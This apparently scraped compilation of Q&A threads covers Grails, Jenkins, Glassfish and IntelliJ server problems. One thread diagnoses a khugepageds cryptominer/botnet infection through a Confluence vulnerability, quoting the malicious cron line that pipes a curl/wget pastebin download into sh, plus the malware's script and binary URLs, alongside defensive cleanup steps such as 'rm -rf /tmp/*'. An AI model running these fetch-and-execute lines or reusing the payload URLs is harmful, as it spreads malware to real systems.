I have an app, that is fairly large, and needs to be up all the time.
Over the weekend, I came back to it saying that it had a "Rollover failed exception". And this was displaying on every page of the app that I went to.
I believe the cause was because our network guys resat our firewall over the weekend and this caused Grails to lose connection with the databases, which then caused the exception.
I had to manually restart grails to get the app up and running again.
My question is, in the future, is there a way to automatically restart grails on exceptions like this?
Sorry, I come from a world of crash only design, where it's all scripts, so if something like that went wrong, it's just a matter of reloading the page.
Thanks
I have some grails web-apps running on the jboss. But this is maybe any web-app even on PHP.
I'm monitoring their activity and restarting them via the next bash script in cron.
You may rewrite this to your needs.
#!/bin/bash
wget --timeout=3 --tries=1 --spider --no-check-certificate http://yoursite.url:8080
if [ $? -ne 0 ];then
echo "Site Down. Restarting..."
service jboss restart
#mail -s "Site Down. Was restarted" your#e-mail.test
fi
Related
So the picture above shows a command khugepageds that is using 98 to 100 % of CPU at times.
I tried finding how does jenkins use this command or what to do about it but was not successful.
I did the following
pkill jenkins
service jenkins stop
service jenkins start
When i pkill ofcourse the usage goes down but once restart its back up again.
Anyone had this issue before?
So, we just had this happen to us. As per the other answers, and some digging of our own, we were able to kill to process (and keep it killed) by running the following command...
rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;
Make sure to replace PID_OF_khugepageds with the PID on your machine. It will also clear the crontab entry. Run this all as one command so that the process won't resurrect itself. The machine will reboot per the last command.
NOTE: While the command above should kill the process, you will probably want to roll/regenerate your SSH keys (on the Jenkins machine, BitBucket/GitHub etc., and any other machines that Jenkins had access to) and perhaps even spin up a new Jenkins instance (if you have that option).
Yes, we were also hit by this vulnerability, thanks to pittss's we were able to detect a bit more about that.
You should check the /var/logs/syslogs for the curl pastebin script which seems to start a corn process on the system, it will try to again escalated access to /tmp folder and install unwanted packages/script.
You should remove everything from the /tmp folder, stop jenkins, check cron process and remove the ones that seem suspicious, restart the VM.
Since the above vulnerability adds unwanted executable at /tmp foler and it tries to access the VM via ssh.
This vulnerability also added a cron process on your system beware to remove that as well.
Also check the ~/.ssh folder for known_hosts and authorized_keys for any suspicious ssh public keys. The attacker can add their ssh keys to get access to your system.
Hope this helps.
This is a Confluence vulnerability https://nvd.nist.gov/vuln/detail/CVE-2019-3396 published on 25 Mar 2019. It allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
Possible solution
Do not run Confluence as root!
Stop botnet agent: kill -9 $(cat /tmp/.X11unix); killall -9 khugepageds
Stop Confluence: <confluence_home>/app/bin/stop-confluence.sh
Remove broken crontab: crontab -u <confluence_user> -r
Plug the hole by blocking access to vulnerable path /rest/tinymce/1/macro/preview in frontend server; for nginx it is something like this:
location /rest/tinymce/1/macro/preview {
return 403;
}
Restart Confluence.
The exploit
Contains two parts: shell script from https://pastebin.com/raw/xmxHzu5P and x86_64 Linux binary from http://sowcar.com/t6/696/1554470365x2890174166.jpg
The script first kills all other known trojan/viruses/botnet agents, downloads and spawns the binary from /tmp/kerberods and iterates through /root/.ssh/known_hosts trying to spread itself to nearby machines.
The binary of size 3395072 and date Apr 5 16:19 is packed with the LSD executable packer (http://lsd.dg.com). I haven't still examined what it does. Looks like a botnet controller.
it seem like vulnerability. try look syslog (/var/log/syslog, not jenkinks log) about like this: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).
If that, try stop jenkins, clear /tmp dir and kill all pids started with jenkins user.
After if cpu usage down, try update to last tls version of jenkins. Next after start jenkins update all plugins in jenkins.
A solution that works, because the cron file just gets recreated is to empty jenkins' cronfile, I also changed the ownership, and also made the file immutable.
This finally stopped this process from kicking in..
In my case this was making builds fail randomly with the following error:
Maven JVM terminated unexpectedly with exit code 137
It took me a while to pay due attention to the Khugepageds process, since every place I read about this error the given solution was to increase memory.
Problem was solved with #HeffZilla solution.
I am using a job in Junkins to build my application (.ear) and then deploy it in Glassfish. I want to execute asadmin undeploy myApp before I deploy my application (the new version). The problem is in the 1st execution there is no application deployed so executing asadmin undeploy myApp generates an error. Any suggestion to deal with this situation. Any proposition is the most welcomed. Thank's.
EDIT :
Correct me if I am wrong in my method, maybe I am doing things wrong! Is this the right way to have a chain of production of a sowtware? Do I have to stop the server and restart it?
I never used Glassfish, but you could check if your app is deployed before to execute the undeploy.
If you know the port in which your app should be in execution, you could simply check with netstat or lsof.
EDIT:
Have a look to this doc (Example 2–3 Listing Applications), seems that you can see that with:
list-applications --type web
Regarding this:
Correct me if I am wrong in my method, maybe I am doing things wrong! Is this the right way to have a chain of production of a sowtware? Do I have to stop the server and restart it?
I think the correct answer is that it depends on the web server you are using (for example Glassfish provide the autodeploy). But generally, the approach works.
After watching some videos on Bash and with the help provided by Davide Patti, I figured out how to do it.
Knowing that I used the answer of Davide Patti and I thank him for his help I choosed to write my own answer for a simple reason: Patti's answer didn't work.
In order to test if an application is deployed and undeploy it if it is deployed I used the following Bash code which worked for me:
apps=`asadmin list-applications -t --user=admin --passwordfile=password.txt`
for app in $apps
do
if [ $app = "the_name_of_your_app" ]
then
asadmin --user=admin --passwordfile=password.txt undeploy the_name_of_your_app
fi
done;
PS: the content of password.txt is a single line: AS_ADMIN_PASSWORD=admin
I'm currently struggling with executing a simple command which I know works when I run it manually when logged in as either root or non-root user:
god -c path/to/app/queue_worker.god
I'm trying to run this when the server starts (I'm running Ubuntu 12.04), and I've investigated adding it to /etc/rc.local just to see if it runs. I know I can add it to /etc/init.d and then use update-rc.d but as far as I understand it's basically the same thing.
My question is how I run this command after everything has booted up as clean as possible without any fuzz.
Im probably missing something in the lifecycle of how everything's initialized, but then I gladly encourage some education! Are there alternative ways or places of putting this command?
Thanks!
You could write a bash script to determine when Apache has started and then set it to run as a cron job at a set interval...
if [ "$(pidof apache)" ]
then
# process was found
else
# process not found
fi
Of course then you'll have a useless cron job running all the time, and you'll have to somehow flip a switch once it's run once so it doesn't run again.. This should give you an idea to start from..
I have a grails app that moved to a new subnet with a change to the DNS. As a result, the logout functionality stopped working. When I inspect the network using chrome, I get this message under request headers: CAUTION: Provisional headers are shown.
This means request to retrieve that resource was never made, so the headers being shown are not the real thing.
The logout function is executing this action
package edu.example.performanceevaluations
import org.codehaus.groovy.grails.plugins.springsecurity.SpringSecurityUtils
class LogoutController {
def index = {
// Put any pre-logout code here
redirect uri: SpringSecurityUtils.securityConfig.logout.filterProcessesUrl // '/j_spring_security_logout'
}
}
Would greatly appreciate a direction to look towards.
As suggested by that link run chrome://net-internals and see if you get anywhere
If you are still lost, I would suggest a two way debugging if you have Linux find something related to your traffic and run either something like tcpdump or if thats too complex install and run ngrep -W byline -d any port 8080 -q. and look for the pattern see what is going on.
ngrep/tcpdump and look for that old ip or subnet on entire traffic see if anything is still trying get through - (this all be best on grails app server ofcourse
(unsure possibly port 8080 or any other clear text port that your app may be running on)
Look for your ip in the apache logs does it hit the actual server when you log out etc?
Has the application been restarted since subnet change since it could have cached the next point from application in the running Java process:
pgrep java|awk '{print "netstat -plant "$1" |grep "$1 }'|/bin/sh
or
pgrep java|awk '{print " lsof -p "$1" |grep -i listen"}'|/bin/sh
I personally think something somewhere needs to be restarted since its hooking on to a cache of something .
Also check the hosts files of any end machines involved ensure nothing has previous subnet physically configured in there.
I am using IntelliJ 11 with Grails 2.0.0 under Ubuntu. When IntelliJ executes any grails command it hangs straight away. I am not able to migrate my project to 2.0.0 (from 1.3.7) or even create a new grails project.
No exceptions thrown in the logs, hangs after clicking on create-app using grails.
Anyone have an idea what could be the problem here?
Thanks,
For me, the freeze only occurs when starting idea from a terminal window using & (ampersand for running in background, like this:
/path/to/your/ideahome/bin/idea.sh &
IDEA then starts correctly, but as soon as any grails command is run, the process enters "stopped" state and the IDEA GUI appears to be frozen.
When doing "fg" on the process, the application wakes up again and actually runs the grails command.
So, the workaround is of course to not run IDEA in background, for example by creating a desktop icon using the following as the "command":
bash -c "export JAVA_HOME=/path/to/your/javahome;/path/to/your/ideahome/bin/idea.sh"
I have found the following to 'unstick' the process though not every time.
when Intellij hangs due to some grails command or another, I run the following to see which processes are running (I have an alias set with the name 'idea' you would use whatever the command is to run idea)
ps -ef | grep idea
There are usually 3 or 4 processes, but the first one looks like:
username 19349 14977 0 10:41 pts/1 00:00:00 /bin/sh /usr/local/bin/idea
I run the following command to kill it
kill -9 {processId}
For example:
kill -9 19349
We use -9 to force full kill the process.
Intellij begins processing as normal. Sometimes I get the prompt about whether I am sure I want to exit to which I reply no.
Sometimes it does not work and I have to kill intelliJ entirely then start over. Most times it works.
Try 11.0.2 RC from http://confluence.jetbrains.net/display/IDEADEV/IDEA+11+EAP. If it doesn't help, file a bug at http://youtrack.jetbrains.net/issues/IDEA with a thread dump attached, refer to http://www.jetbrains.net/devnet/docs/DOC-260 for details.